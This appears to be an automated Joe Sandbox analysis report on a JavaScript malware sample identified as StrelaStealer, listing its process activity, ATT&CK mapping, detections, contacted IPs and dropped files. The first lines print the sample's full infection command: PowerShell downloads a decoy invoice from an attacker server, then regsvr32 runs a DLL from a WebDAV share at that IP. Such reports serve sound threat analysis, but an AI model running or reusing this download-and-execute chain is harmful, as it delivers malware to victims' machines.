Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
10076292573176921778.js	10%	Virustotal		Browse
10076292573176921778.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/lp	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2971090069.000002781E200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1748612415.0000021DC3E98000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1748612415.0000021DC3EBE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1748612415.0000021DC3E68000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/lp	net.exe, 00000006.00000002.1748612415.0000021DC3E98000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588645
Start date and time:	2025-01-11 03:36:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	10076292573176921778.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.16.168.107, 2.16.168.105, 3.219.243.226, 52.22.41.97, 3.233.129.217, 52.6.155.20, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 52.149.20.212, 23.217.172.185, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:37:46	API Interceptor	26x Sleep call for process: powershell.exe modified
21:37:50	API Interceptor	2x Sleep call for process: svchost.exe modified
21:38:03	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1525641771920916745.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853872402647317272.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2920450291176811805.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073708521050387
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrQ:KooCEYhgYEL0In
MD5:	CAC2F0C681C496CF1692A2A512309383
SHA1:	EA30A365E54EE909B0DB161B743D0059D392EAED
SHA-256:	33952DEF691C0B9ADA2C4C18FDB035B44DD485CF3F9AE123663AB063EC5B986A
SHA-512:	A352165DFCE65BE82662A7B1089EEE6A8EB150C842D6F93DE3188C4E75C466B9EA42BF0AA214930FCB41BDC3B5EC5547AD3AC759C3FB369BFF44D41DD7ED7EB3
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x3b17c16d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42211425655317847
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	19F029B1D71AE187027187703B1EF420
SHA1:	472484A8FC6DC9B82F3851A17E9E76FD5E1027F9
SHA-256:	3F8FCCF4CFAEB3D14BDDCCFDB2F898513F03DCD45385B3C0AEE432857AA01D66
SHA-512:	946FCBF469F3E8245EAEED9EFD73B842C812202B266FBBB744C8FC79255AA90C404A688235C0CD566448C69EB573B4125972A82126A3E6CC24F2F0F997F4676B
Malicious:	false
Preview:	;..m... .......A.......X\...;...{......................0.!..........{A.3%...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................`:Ct3%...}..................,...3%...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07701035267803058
Encrypted:	false
SSDEEP:	3:CYtlKYehtBjn13a/OdSllcVO/lnlZMxZNQl:CYtlKzhtB53qO8Oewk
MD5:	F86A4AB4F58898193311E7D2ED3EB60E
SHA1:	3CD36B2C9EE308CE3EF7230A00E8786EF85B8FAB
SHA-256:	EE2B4A7A7A0E5EB4BFEC521A42CC43C458C0E2E67D97E26D1ADE174E9F466DC8
SHA-512:	50EB49EBC7D5462E25C6D104F6D1CCCDE4975B40D9C04D37E4FCD553841E0CAC3AE88C40EB735A495EBF952C66DEA2BD5935045F27B19BF1B45DD7946E811222
Malicious:	false
Preview:	.........................................;...{..3%...}.......{A..............{A......{A..........{A]................,...3%...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.172137184777898
Encrypted:	false
SSDEEP:	6:iO4q2q2Pwkn2nKuAl9OmbnIFUtSqqYZmwsqqAkwOwkn2nKuAl9OmbjLJ:7IvYfHAahFUt1/h5JfHAaSJ
MD5:	3FA3122969EDF2D4E420A9994A644E81
SHA1:	A9681E34B6AB6D31C234B37BBA77211C54F96575
SHA-256:	68999C600EAB1AEB6B211DAA5281C2F68687AA7587ECCBB2AAA802CBF5F51FBA
SHA-512:	94B935B0F792995903ED1DB654F6E90CB365ACCCC52234F5989125DEE7982524EE3D195759B4D997C881FDE08D7D04085F35579BA252B7B300AE8F2E54B92769
Malicious:	false
Preview:	2025/01/10-21:37:50.424 1d10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:37:50.426 1d10 Recovering log #3.2025/01/10-21:37:50.426 1d10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.172137184777898
Encrypted:	false
SSDEEP:	6:iO4q2q2Pwkn2nKuAl9OmbnIFUtSqqYZmwsqqAkwOwkn2nKuAl9OmbjLJ:7IvYfHAahFUt1/h5JfHAaSJ
MD5:	3FA3122969EDF2D4E420A9994A644E81
SHA1:	A9681E34B6AB6D31C234B37BBA77211C54F96575
SHA-256:	68999C600EAB1AEB6B211DAA5281C2F68687AA7587ECCBB2AAA802CBF5F51FBA
SHA-512:	94B935B0F792995903ED1DB654F6E90CB365ACCCC52234F5989125DEE7982524EE3D195759B4D997C881FDE08D7D04085F35579BA252B7B300AE8F2E54B92769
Malicious:	false
Preview:	2025/01/10-21:37:50.424 1d10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:37:50.426 1d10 Recovering log #3.2025/01/10-21:37:50.426 1d10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.196255938712014
Encrypted:	false
SSDEEP:	6:iO4qCUaM+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqncXZmwsqcrMVkwOwkn2nKuAl9OU:7oUaM+vYfHAa8uFUt0/CrMV5JfHAa8RJ
MD5:	D9181B954E7716BF04BFE0EDDD6478D6
SHA1:	F24011BBF9CD249384398C4CBB2C303240E44210
SHA-256:	AE43E0E92AE274C1A6B2664C3D68D1A11A1F5DC47CD57688C149E17B17A50791
SHA-512:	5FBA6E983B064732612F7E587A177EEB8313AA40C15C528C72B2E4F0C5553406D2ADEE5C328DC4E81CECFE0912D0E9B75CD3FB1E626EF3ECCA31F625A44DC9D5
Malicious:	false
Preview:	2025/01/10-21:37:50.471 1d6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:37:50.481 1d6c Recovering log #3.2025/01/10-21:37:50.482 1d6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.196255938712014
Encrypted:	false
SSDEEP:	6:iO4qCUaM+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqncXZmwsqcrMVkwOwkn2nKuAl9OU:7oUaM+vYfHAa8uFUt0/CrMV5JfHAa8RJ
MD5:	D9181B954E7716BF04BFE0EDDD6478D6
SHA1:	F24011BBF9CD249384398C4CBB2C303240E44210
SHA-256:	AE43E0E92AE274C1A6B2664C3D68D1A11A1F5DC47CD57688C149E17B17A50791
SHA-512:	5FBA6E983B064732612F7E587A177EEB8313AA40C15C528C72B2E4F0C5553406D2ADEE5C328DC4E81CECFE0912D0E9B75CD3FB1E626EF3ECCA31F625A44DC9D5
Malicious:	false
Preview:	2025/01/10-21:37:50.471 1d6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:37:50.481 1d6c Recovering log #3.2025/01/10-21:37:50.482 1d6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2d2a468b-36cd-4f57-80e6-8ce056e77155.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDWNsBdOg2Hdcaq3QYiubInP7E4T3y:Y2sRdsBudMHs3QYhbG7nby
MD5:	EACAA618870198D7C80F58D25BDE7085
SHA1:	5F87D91F38BB332A3F032C9D503A3A2FC94949FC
SHA-256:	1736C5E3E639B47EBE3B775DBB31464943AFFB0A30758D4E39C9970C3E6F6C8B
SHA-512:	D1F72DF2562AE164D3455803E108F39F6EFC1DCC16D9507026B368D384C085C7467391F5C8DB7BE2C805D5CE966F2D49999BB3173D2061D4377FD6C579695B8C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381123083033647","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121762},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDWNsBdOg2Hdcaq3QYiubInP7E4T3y:Y2sRdsBudMHs3QYhbG7nby
MD5:	EACAA618870198D7C80F58D25BDE7085
SHA1:	5F87D91F38BB332A3F032C9D503A3A2FC94949FC
SHA-256:	1736C5E3E639B47EBE3B775DBB31464943AFFB0A30758D4E39C9970C3E6F6C8B
SHA-512:	D1F72DF2562AE164D3455803E108F39F6EFC1DCC16D9507026B368D384C085C7467391F5C8DB7BE2C805D5CE966F2D49999BB3173D2061D4377FD6C579695B8C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381123083033647","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121762},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.260075263839727
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7v2lf:etJCV4FiN/jTN/2r8Mta02fEhgO73goU
MD5:	2A1367C6AA668EAAF978A4577BC93C79
SHA1:	170A787B19B6AAAB99F6C3E17147775A7832583C
SHA-256:	A8A1BBFC9E8AFA7E27172364EBB0BBB75FF15D097B14742E13C55F0CFFA8828D
SHA-512:	AC03A67EF4889F608CECEBDD87E1B0C5F0C5EB8F89DCDBDC40B19D2217CCE44FD9451FEADEFFD5DCF16890E1549230F3F6B21D1651F081295F09AAFA2C604397
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.198663548591616
Encrypted:	false
SSDEEP:	6:iO4qxM+q2Pwkn2nKuAl9OmbzNMxIFUtSqDnZmwsqAMMVkwOwkn2nKuAl9OmbzNMT:7jM+vYfHAa8jFUtvn/qMMV5JfHAa84J
MD5:	7895CAACDFEF6D42B41371AC10AB571E
SHA1:	611392A44F9FC64E4DC80C0A713D0D0EAEA6F876
SHA-256:	24F7BBCC7702E8198D39FFFE02F5848802909B7D422A110D0A703A66CBE14E63
SHA-512:	B6BF9E200EBB6BF650922D9C1DC4FBCB06149B416B84B9F6C8379744AC93F8B15A55ADBE1833A4F7EC51310AFC09B886119BE6F0924A11C9180CCEE8971B9171
Malicious:	false
Preview:	2025/01/10-21:37:50.667 1d6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:37:50.668 1d6c Recovering log #3.2025/01/10-21:37:50.669 1d6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.198663548591616
Encrypted:	false
SSDEEP:	6:iO4qxM+q2Pwkn2nKuAl9OmbzNMxIFUtSqDnZmwsqAMMVkwOwkn2nKuAl9OmbzNMT:7jM+vYfHAa8jFUtvn/qMMV5JfHAa84J
MD5:	7895CAACDFEF6D42B41371AC10AB571E
SHA1:	611392A44F9FC64E4DC80C0A713D0D0EAEA6F876
SHA-256:	24F7BBCC7702E8198D39FFFE02F5848802909B7D422A110D0A703A66CBE14E63
SHA-512:	B6BF9E200EBB6BF650922D9C1DC4FBCB06149B416B84B9F6C8379744AC93F8B15A55ADBE1833A4F7EC51310AFC09B886119BE6F0924A11C9180CCEE8971B9171
Malicious:	false
Preview:	2025/01/10-21:37:50.667 1d6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:37:50.668 1d6c Recovering log #3.2025/01/10-21:37:50.669 1d6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444781758097501
Encrypted:	false
SSDEEP:	384:yezci5tUiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rDs3OazzU89UTTgUL
MD5:	3467BE17B294D3B6A583CF5FF0E92F51
SHA1:	CB8388D3FB71245C3FF49CDF626505082595A388
SHA-256:	824E090B0700A9EA415FB4216A91AC8F8F4840A2BD6F7A1246ECFBDC78EC569E
SHA-512:	2D1E2A55FEE76DA5002A3C8CC30C1EAB238A94B2C72F119EB8856E4E69110DFC51B577172BBD990D24569E28DECC9E7E7C603AF329241FED629031166E168853
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7734984140786296
Encrypted:	false
SSDEEP:	48:7M8p/E2ioyVYioy9oWoy1Cwoy1gKOioy1noy1AYoy1Wioy1hioybioySoy1noy1K:7XpjuYFDXKQjeb9IVXEBodRBk1
MD5:	1B46A3FF7A699FA9EBD450B14DDE7DCD
SHA1:	08EE6500AFCD9EDE5BA19F9BAE381A3CCE03EE72
SHA-256:	2981F7D93F7B3BF4F72C17804477B7EF718C3D919E0E72304BD5D122693FC279
SHA-512:	3535CC2C44C78A4CAF159CC26850CEE74D7CCC182D26B937A4FDB2268B3EDC194E3AADDB03E331CA6EF2CF4370A21D8E7F12BA2056AE922C337F9DFD139158F7
Malicious:	false
Preview:	.... .c.....h..X...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
